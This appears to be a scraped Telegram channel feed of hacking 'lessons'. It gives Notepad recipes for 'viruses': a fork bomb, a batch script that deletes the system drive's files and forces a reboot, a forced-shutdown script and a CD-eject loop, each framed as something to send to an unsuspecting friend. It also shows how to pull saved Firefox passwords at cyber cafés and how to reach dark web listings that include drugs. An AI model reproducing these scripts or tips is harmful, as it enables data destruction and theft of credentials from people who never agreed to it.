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I've got lots of messages about what the commands in the codes mean, so let's use virus 4 to explain them. @echo - This will display anything in the command prompt (cmd) shell, if we set this as off(as in "@echo off), nothing in the rest of the code will be seen in the cmd shell. :top - This will be our starting point of our loop. start - This opens one cmd window goto - This will make the scipt (or virus) go to any text within the code. [Example; "goto top" will go to the point with ":top" and start from there]. So according to this, the script will force the system to open a blank cmd window, then another, and another...untill the system runs out of RAM. To get out of this loop, simply reboot your PC, since you can't do it by pointing the mouse (because your PC will be hanging like heck by then), you'll be forced to shutdown by pressing the physical power button on your PC.

4⃣Open Infinite cmd.exe windows to crash PC Type this in Notepad.

@echo off
:top
start
goto top

Save it as FileName.bat

3⃣This virus deletes the Contents of a Drive Type this in Notepad:

@echo off
del %systemdrive%*.* /f /s /q
shutdown -r -f -t 00

Save the above code as "FileName.bat" @TechByte | @GEEKernel

2⃣Convey your friend a little message and shut down his / her computer: Type this code:

@echo off
msg * I don’t like you
shutdown -c “Error! You are too stupid!” -s

Save it as FileName.vbs and send it. Make sure they open the file for it to work.

1⃣Continually pop out your friend’s CD Drive. If they have more than one, it pops out all of them! Copy and type this Code in Notepad:

Set oWMP = CreateObject(“WMPlayer.OCX.”)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count>= 1 then
For i = 0 to colCDROMs.Count– 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count– 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep5000
loop

Save it as “FileName.vbs” and send it to an unsuspecting friend. @TechByte

Writing a Computer Virus

</lesson_001:> ...using Notepad

Ever wanted to code a virus? Even just a simple one? I'm going to show you how to write some Most of us are new at coding so I'm just gonna start with the basic simple ones. All you need to have is your Windows 7/8/10 PC and a text editor, I prefer to use Notepad since it's preinstalled.

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3⃣This screen pops up and you can see all the passwords that were used to sign in to a website. @TechByte | @RLchannels

2⃣Head over to the Security tab and click Saved Passwords... or simply press P @TechByte | @RLchannels

1⃣Firefox users running Windows, first open the main menu (Firefox) in the upper left-hand corner and select Options. If you're on a Mac, hit Firefox, then Preferences. @TechByte | @RLchannels

Viewing Stored Passwords...

</lesson_001:> ...in Firefox Browser

Ever gone to a cyber café and wished, "oh, man. I wish I knew all the passwords of all the people who logged in to their social accounts on these computers", well, wish granted! Even though we all know it's a bad idea, a lot of people still use their browser's store password function to keep up with all their accounts. While convenient, this shortcut also makes their passwords very easy to find if you have access to the computer they're stored on. This guide shows you how to view saved passwords in Mozilla Firefox Web Browser

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For the list of the dark web sites, the Hidden Wiki has all of them. The Hidden Wiki is a repository of the most visited websites in the dark web. It has them classified into categories, i.e. Forums, Drugs, Erotica, Blogs...,etc Here's the Hidden Wiki link (You can even visit it in the clearnet, using an ordinary web browser): thehiddenwiki.org For an even more comprehensive list, head over to the deep web subreddit: reddit.com/r/deepweb/

Accessing the Deep Web

</lesson_002(revised):> Fire.onion

This guide is actually pretty easy and doesn't require the installation of many apps. There's this app called Fire.onion, it's a normal web browser like Chrome or Firefox, but it's preconfigured to use Tor. Once you launch it, it will directly connect to the Tor network and you can start browsing the dark web like nobody's business. It also relays your communications through thousands of computers around the world, pinging it back and forth and this helps hugely in anonymity and masking your IP address. You can download the browser from your app store or from the next post. Unfortunately, Fire.onion is only available for Android, but iOS users don't give up yet, there's plently of alternative ways to browse the dark web. PM me, @romL3N, if you have further questions.

As a bonus, Orbot also works as a VPN app, because it masks your IP address (and changes it) and prevents people from "seeing" your activity on the web.

3⃣ Install Orfox Orfox is built from the same source code as Tor Browser (which is built upon Firefox), but with a few minor modifications to the privacy enhancing features to make them compatible with Firefox for Android and the Android operating system. Orfox REQUIRES Orbot for Android to connect to the Tor network. The Tor software protects you by bouncing your communications around a distributed network of relays run by volunteers all around the world: it prevents somebody watching your Internet connection from learning what sites you visit, it prevents the sites you visit from learning your physical location, and it lets you access sites which are blocked. From here on you're on your own. Remember, don't download things unnecessarily on the dark web, and my personal rule; If you see anything suspicious on the dark web, run away from it! Browse the hidden web using .onion links on thehiddenwiki.org Get it: https://t.me/RLapps/82 @TechByte

2⃣ Install Orbot In its simplest form, Orbot, by the great people over at the Guardian Project, is the connector between your device and the Tor network. It facilitates the passage of data from your apps to the Tor network, but it can only do so with apps that support data being sent through a proxy. Because of that limitation, it's necessary to have both Orbot and OrWall installed on your device, since OrWall will help with apps which do not have proxy support. The first time you open the app, you'll have to complete the set-up wizard, but afterwards, all you have to do is long-press the Power button in the center to activate Orbot. If at any time you want to change your Tor Identity to a different IP address, you can swipe across the main screen, which will come in handy if you don't want to stay on the same IP address for too long. Get: https://t.me/RLapps/80

1⃣ Install OrWall Developed by Swiss privacy activist Cédric Jeanneret, OrWall is essentially a firewall for your Android that will force all of your apps (or just the ones you select) to use the Tor network to transmit all of their data. If an app is unable to use the Tor network to access the internet, then that data connection will be blocked. Launch it, select the apps you want to relay the Tor network into, and reboot your device. Get: https://t.me/RLapps/81

Accessing the Deep Web

</lesson_002:> ...on Android (Guardian Project)

Keeping your online data and identity private is an uphill battle, but with the anonymity network Tor, you have a pretty decent line of defense from prying eyes. But while Tor is great for desktop users, since they can simply install a Tor browser or plugin, it's a bit more complicated on Android. The difficulty lies in getting all the data your device sends out pushed through the Tor network, which anonymizes by sending data through various servers around the world. Luckily, I'm here to set you on the right path... (No Applause!?👏😺) The guide I'm about to share needs a rooted device. If it isn't rooted, you can Google how gain root access on your device. @TechByte